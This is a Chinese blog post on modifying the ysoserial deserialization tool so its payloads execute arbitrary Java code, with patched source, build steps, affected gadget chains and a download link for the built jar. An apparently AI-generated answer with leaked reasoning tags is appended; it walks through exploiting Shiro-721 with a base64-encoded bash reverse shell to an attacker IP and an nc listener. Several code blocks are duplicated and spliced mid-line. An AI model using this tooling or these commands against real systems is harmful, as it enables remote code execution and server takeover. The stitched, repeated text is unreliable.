修改ysoserial使其支持生成代码执行Payload

本文介绍如何修改ysoserial工具以实现Java反序列化Payload的任意代码执行,而非仅限于命令执行,并提供实操步骤及适用范围。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

ysoserial是一款目前最流行的Java反序列化Payload生成工具,目前支持29种的Payload生成。

https://github.com/frohoff/ysoserial

一般该工具可生成执行任意命令的序列化对象,通过对工具代码进行简单修改,也可使其执行任意的Java代码,以此来绕过对命令执行的限制。

修改

作者在115行的注释写到: TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections(待做,可以做一些有趣的事情比如注入一个纯java的反弹或绑定shell去绕过较弱的保护)已经留出了进行代码执行的位置,实质上一般用的命令执行是调用的写死的Runtime调用,这里我们只需要稍微改下即可。

ysoserial/src/main/java/ysoserial/payloads/util/Gadgets.java这个文件中(105行):

​
    public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
            throws Exception {
        final T templates = tplClass.newInstance();
​
        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections 
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);
​
        final byte[] classBytes = clazz.toBytecode();
​
        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });
​
        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }
    public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
            throws Exception {
        final T templates = tplClass.newInstance();
​
        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections 
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);
​
        final byte[] classBytes = clazz.toBytecode();
​
        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });
​
        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

进行简单的修改:


  public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
            throws Exception {
        final T templates = tplClass.newInstance();
​
        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String cmd="";
      //如果以code:开头,认为是代码,否则认为是命令
        if(!command.startsWith("code:")){
        cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\");";}
            else{
            System.err.println("Java Code Mode:"+command.substring(5));//使用stderr输出,防止影响payload的输出
            cmd = command.substring(5);
        }
​
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);
​
        final byte[] classBytes = clazz.toBytecode();
​
        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });  public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
            throws Exception {
        final T templates = tplClass.newInstance();
​
        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String cmd="";
      //如果以code:开头,认为是代码,否则认为是命令
        if(!command.startsWith("code:")){
        cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\");";}
            else{
            System.err.println("Java Code Mode:"+command.substring(5));//使用stderr输出,防止影响payload的输出
            cmd = command.substring(5);
        }
​
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);
​
        final byte[] classBytes = clazz.toBytecode();
​
        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });

mvn clean package -DskipTests进行重新打包

适用范围

由于不是所有的payload在构造时都调用了Gadgets.createTemplatesImpl,所以只有以下几种适用于以上修改。

ROME

CommonsBeanutils1

CommonsCollections2

CommonsCollections3

CommonsCollections4

Spring1

Spring2

Jdk7u21

MozillaRhino1

JBossInterceptors1

JavassistWeld1

JSON1

Hibernate1

其它部分Payload(如CommonsCollections1)可以通过手工改造进行执行任意代码。

试验


java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "code:new java.io.FileOutputStream(\"test\").write(112);" > 1.class
#Java Code Mode:new java.io.FileOutputStream("test").write(112);
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar LoadObject 1.class #LoadObject是照着格式写的一个反序列化payload文件的payload~
#查看当前目录可以发现多了一个test文件java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "code:new java.io.FileOutputStream(\"test\").write(112);" > 1.class
#Java Code Mode:new java.io.FileOutputStream("test").write(112);
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar LoadObject 1.class #LoadObject是照着格式写的一个反序列化payload文件的payload~
#查看当前目录可以发现多了一个test文件

下载

打包好的jar文件。

 链接:https://pan.baidu.com/s/12o5UFaln0qDUo0hPcIR1Eg 提取码:qdfc

<think>好的,用户想了解Shiro721漏洞的复现步骤。首先,我需要回忆一下相关的知识。根据提供的引用内容,特别是引用[2]和[4],Shiro721影响版本是Apache Shiro <=1.4.1。复现步骤通常包括环境搭建、利用漏洞获取权限、编写或使用Payload等。 首先,环境搭建部分,用户需要Docker来拉取镜像并运行容器。引用[2]提到使用vulfocus/shiro-721镜像,所以需要确认正确的Docker命令。然后,漏洞利用需要生成恶意Cookie,通常涉及反序列化攻击。但Shiro721与Shiro550不同,它需要有效的Cookie并通过Padding Oracle攻击来加密Payload,因此可能需要特定的工具,比如shiro-exploit工具箱或者手工构造Payload。 用户可能还需要了解如何检测漏洞是否存在,比如发送一个无效的RememberMe Cookie并观察响应是否有特征。此外,反弹shell的步骤需要生成Payload,可能使用ysoserial或类似工具生成,然后通过工具加密并构造请求。 需要注意的是,复现漏洞需要一定的网络安全知识,确保在合法授权环境下进行。同时,引用中提到的工具如shiro-exploit可能需要从GitHub获取,用户需要安装相关依赖,比如Java环境。 可能的问题点包括Docker环境是否正确启动,Payload生成是否正确,加密过程是否无误,以及如何判断攻击是否成功。此外,用户可能对漏洞原理感兴趣,比如为什么Padding Oracle攻击可以在这里利用,或者如何修复该漏洞。因此,在回答中需要分步骤详细说明,并提示安全注意事项。</think>### Shiro-721漏洞复现步骤详解 #### 一、漏洞简介 Shiro-721是Apache Shiro框架中的反序列化漏洞,影响版本为**Shiro <=1.4.1**。攻击者通过构造恶意RememberMe Cookie,利用Padding Oracle攻击加密反序列化Payload,最终实现远程代码执行[^2][^4]。 #### 二、环境搭建 1. **拉取Docker镜像**: ```bash docker pull vulfocus/shiro-721 ``` 2. **启动容器**: ```bash docker run -d -p 8080:8080 [镜像ID] ``` 访问`http://localhost:8080`,使用默认账号`admin/admin`登录[^4]。 --- #### 三、漏洞验证 1. **检测RememberMe功能**: 登录后查看Cookie是否包含`rememberMe=deleteMe`字段,确认Shiro是否启用该功能。 2. **发送无效Cookie测试**: 使用Burp Suite修改请求,替换`rememberMe`值为无效Base64字符串(如`123`),若响应包含`rememberMe=deleteMe`,则存在漏洞[^3]。 --- #### 四、漏洞利用(以反弹Shell为例) 1. **生成Payload**: 使用`ysoserial`生成反弹Shell命令: ```bash java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" > payload.bin ``` **注意**:替换IP和端口为攻击机地址。 2. **加密Payload**: 使用`shiro-exploit`工具加密Payload,需提供有效的RememberMe Cookie和攻击目标URL: ```bash java -jar shiro-exploit.jar http://localhost:8080/login [有效Cookie] payload.bin ``` 工具会自动通过Padding Oracle攻击生成加密后的恶意Cookie。 3. **发送恶意请求**: 将生成的Cookie替换到请求头中,触发反序列化漏洞: ```http GET / HTTP/1.1 Host: localhost:8080 Cookie: rememberMe=[加密后的恶意Cookie] ``` 4. **接收反弹Shell**: 在攻击机使用Netcat监听: ```bash nc -lvnp 8888 ``` 成功获取目标服务器Shell[^3]。 --- #### 五、修复建议 1. 升级Shiro至**1.4.2及以上版本**; 2. 配置`securityManager.rememberMeManager.cipherKey`为随机密钥; 3. 禁用RememberMe功能(非必要场景)[^4]。 ---
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值